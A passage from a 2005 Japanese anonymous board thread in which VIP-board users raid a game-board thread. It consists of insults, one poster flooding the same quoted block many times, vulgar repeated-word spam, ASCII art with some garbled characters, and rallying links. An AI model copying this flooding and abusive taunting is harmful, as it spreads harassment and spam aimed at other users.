蠶蠶監シ ∵ヴ門夢曠髏蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶�a ∴シ∃愬嚶髏蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶診 ベ沿�u旦以迢�u讒醴髏曠醴蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶髏蠶蠶蠶蠶蠶
0716名無しさん@お腹いっぱい。
2005/12/09(金) 21:28:54ID:0sOc+IBQそろそろVIP逃げ腰だからポスタル2やってくる
じゃぁな、チンカスども
0717名無しさん@お腹いっぱい。
2005/12/09(金) 21:29:14ID:ms66jgZcヨ儲諸隴躇醴蠶歎勺尓俎赴 �f蠶蠶蠢レ ∴�f醴蠶鬪扠川ジ⊇氾衒鑵醴蠶蠶蠶蠶蠶
ヨ鐘諸薩讒蠢欟厂 ベ状抃 傭蠶蠶髏厂 ヨ繍蠶蠶臥べ泣澁価価櫑蠶蠶蠶蠶蠶蠶蠶
�f罐諸醴蠶蠶歎 マシ‥…ヲ冖 .∴瀦醴蠶襲�j�J鶴門門攤蠶蠶蠶蠶蠶蠶蠶蠶
加罐讒蠶蠶欟厂 ヘ ∴�f醴醴蠶甑欄鬮°�f蠢蠶蠶蠶蠶蠶蠶蠶蠶蠶
溷霾醴蠶蠶勸 ∴ヨ繍醴蠶蠶鬮狡圷し醴蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
醴蠶蠶蠶蠶髟 ベ湖醴醴蠶蠶蠶庇⊇⊇��體髏髏蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶蠶欟 �f繍蠶蠶蠶蠶蠶曲三三巛憫髏蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶蠶歉 澁畄_迢艪蠶蠶蠶蠶蠶蠶甜川⊇川川衍捫軆髏髏蠶蠶蠶蠶
蠶蠶蠶蠶髟 コ醴蠶奴繍蠶蠶蠶蠶蠶蠶蠶齡辷シジ⊇川介堀醴醴蠶蠶蠶蠶
蠶蠶蠶鬮か .ベ苛ザベ繍蠶蠶蠶蠶蠶蠶蠶醯己に⊇三介�f繙醴蠶蠶蠶蠶蠶
蠶蠶髏鬮シ 尽慵蠶蠶蠶蠶蠶蠶蠶自辷三沿滋鐘醴蠶蠶蠶蠶蠶蠶
蠶蠶醴勸 氾隅髏蠶蠶蠶蠶蠶靦鉱琺雄躍蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶醴訃 ∴∴∴沿滋溷醴髏蠶髏髏韲譴躇醴蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶髟 _山辷ム�f蠡舐鑓躍醯罎體體體驩讎櫑蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶�a �f躍蠶蠶�J蠶蠶蠶蠶蠶蠶蠶醯註珀雄醴醴蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶廴 �f醴蠶欟閇憊體醴蠶蠶蠶蠶蠶蠶靦錐讒醴蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶欟シ 禰蠶蠶蠢螽螽�f醴蠶蠶蠶蠶蠶蠶蠶躍蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶監シ ∵ヴ門夢曠髏蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶�a ∴シ∃愬嚶髏蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶診 ベ沿�u旦以迢�u讒醴髏曠醴蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶髏蠶蠶蠶蠶蠶
0718名無しさん@お腹いっぱい。
2005/12/09(金) 21:29:15ID:729TKTgF0719名無しさん@お腹いっぱい。
2005/12/09(金) 21:30:01ID:Muos3cFL0720名無しさん@お腹いっぱい。
2005/12/09(金) 21:30:41ID:0sOc+IBQVIP敵軍本拠地へ全軍集合!!!!!!!!
http://game9.2ch.net/test/read.cgi/gamef/1119745898/
〜そして第2次VIP大戦が始まった〜
0721名無しさん@お腹いっぱい。
2005/12/09(金) 21:31:42ID:zo6A8JHwじゃあもっと頑張れ
0722名無しさん@お腹いっぱい。
2005/12/09(金) 21:32:18ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
>
> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
>
>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
>
>
>
> ヒドイ目?あわせてみろよwww
0723名無しさん@お腹いっぱい。
2005/12/09(金) 21:32:58ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
>
> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
>
>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
>
>
>
> ヒドイ目?あわせてみろよwww
0724名無しさん@お腹いっぱい。
2005/12/09(金) 21:33:39ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
>
> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
>
>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
>
>
>
> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0725名無しさん@お腹いっぱい。
2005/12/09(金) 21:33:44ID:szGo+JUA0726名無しさん@お腹いっぱい。
2005/12/09(金) 21:33:50ID:0sOc+IBQせいぜいDQNのブログ炎上されるくらいだろ?w
ひとりだと何にもできない あつまっても糞みたいなことしかできない
これがVIPクオリティ
プププ
0727名無しさん@お腹いっぱい。
2005/12/09(金) 21:34:20ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
>
> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
>
>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
>
>
>
> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0728名無しさん@お腹いっぱい。
2005/12/09(金) 21:34:21ID:v9Jx/HQQ最初から画像のリンク見りゃ、釣りってことはすぐわかるのになあ。
MOD作者をうらめしがるアンチが暴れてるだけだろ
0729名無しさん@お腹いっぱい。
2005/12/09(金) 21:34:31ID:Vcf+XnDB0730名無しさん@お腹いっぱい。
2005/12/09(金) 21:34:42ID:Muos3cFL0731名無しさん@お腹いっぱい。
2005/12/09(金) 21:35:01ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
>
> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
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>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
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> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0732名無しさん@お腹いっぱい。
2005/12/09(金) 21:35:42ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
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> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
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>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
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> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0733名無しさん@お腹いっぱい。
2005/12/09(金) 21:36:23ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
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> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
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>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
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> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0734名無しさん@お腹いっぱい。
2005/12/09(金) 21:36:34ID:0sOc+IBQレスしただけでこれじゃどうしろっていうんだ
無視されたいわけ?
おまえらなにしにきてんのw
俺はお前たちを叩いて大いに楽しんでいるwwwwwwwwwww
0735名無しさん@お腹いっぱい。
2005/12/09(金) 21:37:04ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
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>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
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> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
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>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
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> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0736名無しさん@お腹いっぱい。
2005/12/09(金) 21:37:18ID:Muos3cFL0737名無しさん@お腹いっぱい。
2005/12/09(金) 21:37:45ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
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> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
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>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
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> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0738名無しさん@お腹いっぱい。
2005/12/09(金) 21:38:26ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
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> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
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>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
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> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0739名無しさん@お腹いっぱい。
2005/12/09(金) 21:39:07ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
>
> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
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>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
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> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0740名無しさん@お腹いっぱい。
2005/12/09(金) 21:39:47ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
>
> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
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>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
>
>
>
> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0741名無しさん@お腹いっぱい。
2005/12/09(金) 21:40:21ID:729TKTgFそれにしても爆撃22時って遅すぎだwww殆ど人居なくなったじゃねーかwww
0742名無しさん@お腹いっぱい。
2005/12/09(金) 21:40:24ID:JNnzlcbg0743名無しさん@お腹いっぱい。
2005/12/09(金) 21:40:28ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
>
> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
>
>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
>
>
>
> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0744名無しさん@お腹いっぱい。
2005/12/09(金) 21:41:09ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
>
> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
>
>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
>
>
>
> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0745名無しさん@お腹いっぱい。
2005/12/09(金) 21:41:10ID:iXzTvZbbそれがVIPクオリティってやつですか
0746名無しさん@お腹いっぱい。
2005/12/09(金) 21:41:37ID:729TKTgF0747名無しさん@お腹いっぱい。
2005/12/09(金) 21:41:50ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
>
> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
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>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
>
>
>
> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0748名無しさん@お腹いっぱい。
2005/12/09(金) 21:41:51ID:Muos3cFL0749名無しさん@お腹いっぱい。
2005/12/09(金) 21:42:07ID:ec35uoTg夢中で踊ってたらホールに一人だけになってたみたいな。
0750名無しさん@お腹いっぱい。
2005/12/09(金) 21:42:31ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
>
> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
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>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
>
>
>
> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0751名無しさん@お腹いっぱい。
2005/12/09(金) 21:43:02ID:idK/+682というかもう皆飽きてて誰も爆撃しねーだろ
0752名無しさん@お腹いっぱい。
2005/12/09(金) 21:43:11ID:Muos3cFL0753名無しさん@お腹いっぱい。
2005/12/09(金) 21:43:11ID:ms66jgZc>721 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:51:15 ID:Muos3cFL
> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
>
> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
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>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
>
>
>
> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0754名無しさん@お腹いっぱい。
2005/12/09(金) 21:43:14ID:xCBLh8D+> >>715みたいにコピペにマジレスしちゃう恥ずかしい奴もいるしなw
>
>726 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/09(金) 19:52:25 ID:5v8IGljC
> V I P P E R な め る と
>
> ヒ ド イ 目 ,r'"⌒ヽ に あ う お
> / ^ω^ \
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>734 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 19:53:25 ID:Muos3cFL
> >>726
>
> 結局VIPなんてたいしたことないって言うのが22:00に証明される
>
>
>
>
> ヒドイ目?あわせてみろよwww
コピペにマジレスしちゃう恥ずかしい奴m9(^Д^)プギャー!!
0755名無しさん@お腹いっぱい。
2005/12/09(金) 21:43:29ID:b4dXQAzt逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ逃げちゃだめだ
0756名無しさん@お腹いっぱい。
2005/12/09(金) 21:43:39ID:iXzTvZbbもう少しページ詳しく見てみるくらいのこともできないのかよw
俺はすぐに釣りだったのかっていうレスしたんだが
0757名無しさん@お腹いっぱい。
2005/12/09(金) 21:43:43ID:Y8FaqcEK埋めたらいいわけ?
0758名無しさん@お腹いっぱい。
2005/12/09(金) 21:43:55ID:Vcf+XnDB田代やるしかないな。
0759名無しさん@お腹いっぱい。
2005/12/09(金) 21:43:56ID:JUYjp0HI0760名無しさん@お腹いっぱい。
2005/12/09(金) 21:44:07ID:MQOaO5YE(ヽ | ノ びっぷヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ ) やばい、ついにヤツが来た。
| ヽノ /´ 低脳丸出しアホ面と、頭に光る「びっぷ」の文字。
| / そう、ヤツは「 び っ ぷ く ま 」ちょwおまwwこれはまずいwww
〜ニュー速VIP板〜
http://ex14.2ch.net/news4vip/
0761名無しさん@お腹いっぱい。
2005/12/09(金) 21:44:31ID:ezc4IjVJビビリ杉だろ
0762名無しさん@お腹いっぱい。
2005/12/09(金) 21:44:58ID:xCBLh8D+盛り上がってないので帰ります
0763名無しさん@お腹いっぱい。
2005/12/09(金) 21:45:04ID:Y8FaqcEK0764名無しさん@お腹いっぱい。
2005/12/09(金) 21:45:10ID:7G8w0mo20765名無しさん@お腹いっぱい。
2005/12/09(金) 21:45:12ID:Muos3cFLバカの一つ覚えコピペはもう終わり?w
一人ぼっちに気付いて寂しく帰ったかw
0766名無しさん@お腹いっぱい。
2005/12/09(金) 21:45:16ID:MQOaO5YE0767名無しさん@お腹いっぱい。
2005/12/09(金) 21:45:27ID:Y8FaqcEK0768名無しさん@お腹いっぱい。
2005/12/09(金) 21:45:48ID:Nhpu2xA1ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
ちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽちんぽっぽ
0769名無しさん@お腹いっぱい。
2005/12/09(金) 21:45:57ID:ojlFE33T0770名無しさん@お腹いっぱい。
2005/12/09(金) 21:46:12ID:hPqwhEtc0771名無しさん@お腹いっぱい。
2005/12/09(金) 21:46:20ID:idK/+682それじゃVIPに帰るお⊂ニニニニ( ^ω^)ニニ⊃ ブーン
でスレ埋め立て終了だろ?乙であります
0772名無しさん@お腹いっぱい。
2005/12/09(金) 21:46:20ID:Muos3cFL0773名無しさん@お腹いっぱい。
2005/12/09(金) 21:46:26ID:5uAMHcqb0774名無しさん@お腹いっぱい。
2005/12/09(金) 21:46:39ID:k7otY1Ir記念パピコ
c⌒っ;;・∀・)φ
0775名無しさん@お腹いっぱい。
2005/12/09(金) 21:46:56ID:AXSQMPoS⊂二二二( ^ω^)二⊃ブーン
⊂二二二( ^ω^)二⊃ブーン
⊂二二二( ^ω^)二⊃ブーン
⊂二二二( ^ω^)二⊃ブーン
⊂二二二( ^ω^)二⊃ブーン
0776名無しさん@お腹いっぱい。
2005/12/09(金) 21:46:58ID:8iKb4QA90777名無しさん@お腹いっぱい。
2005/12/09(金) 21:47:20ID:Rlq/38xJ0778名無しさん@お腹いっぱい。
2005/12/09(金) 21:47:21ID:MQOaO5YE(ヽ | ノ びっぷヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ ) やばい、ついにヤツが来た。
| ヽノ /´ 低脳丸出しアホ面と、頭に光る「びっぷ」の文字。
| / そう、ヤツは「 び っ ぷ く ま 」ちょwおまwwこれはまずいwww
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0779名無しさん@お腹いっぱい。
2005/12/09(金) 21:47:50ID:jUmiYaox0780名無しさん@お腹いっぱい。
2005/12/09(金) 21:48:13ID:MQOaO5YE(ヽ | ノ ヽ /)
(((i ) / (゜) (゜) | ( i))) < びっぷからきたくま〜 ぷ〜
/∠彡 ( _●_) |_ゝ \
( ___、 |∪| ,__ )
| ヽノ /´
| /
〜ニュー速VIP板〜
http://ex14.2ch.net/news4vip/
0781名無しさん@お腹いっぱい。
2005/12/09(金) 21:48:24ID:qRLBmhQ20782名無しさん@お腹いっぱい。
2005/12/09(金) 21:48:45ID:UrYDZKNn0783名無しさん@お腹いっぱい。
2005/12/09(金) 21:48:46ID:Av8+FhFX0784名無しさん@お腹いっぱい。
2005/12/09(金) 21:48:50ID:kQeWjymMその程度しか脳がないとか言い張るんだろ
もう見えてるよwwwwwwww
(#^ω^)ビキビキ
0785名無しさん@お腹いっぱい。
2005/12/09(金) 21:49:15ID:mis0Cip60786名無しさん@お腹いっぱい。
2005/12/09(金) 21:49:16ID:5P0gDQSb0787名無しさん@お腹いっぱい。
2005/12/09(金) 21:49:57ID:b4dXQAzt0788名無しさん@お腹いっぱい。
2005/12/09(金) 21:50:25ID:5P0gDQSb0789名無しさん@お腹いっぱい。
2005/12/09(金) 21:50:26ID:Vcf+XnDBそういって逃げるわけ?
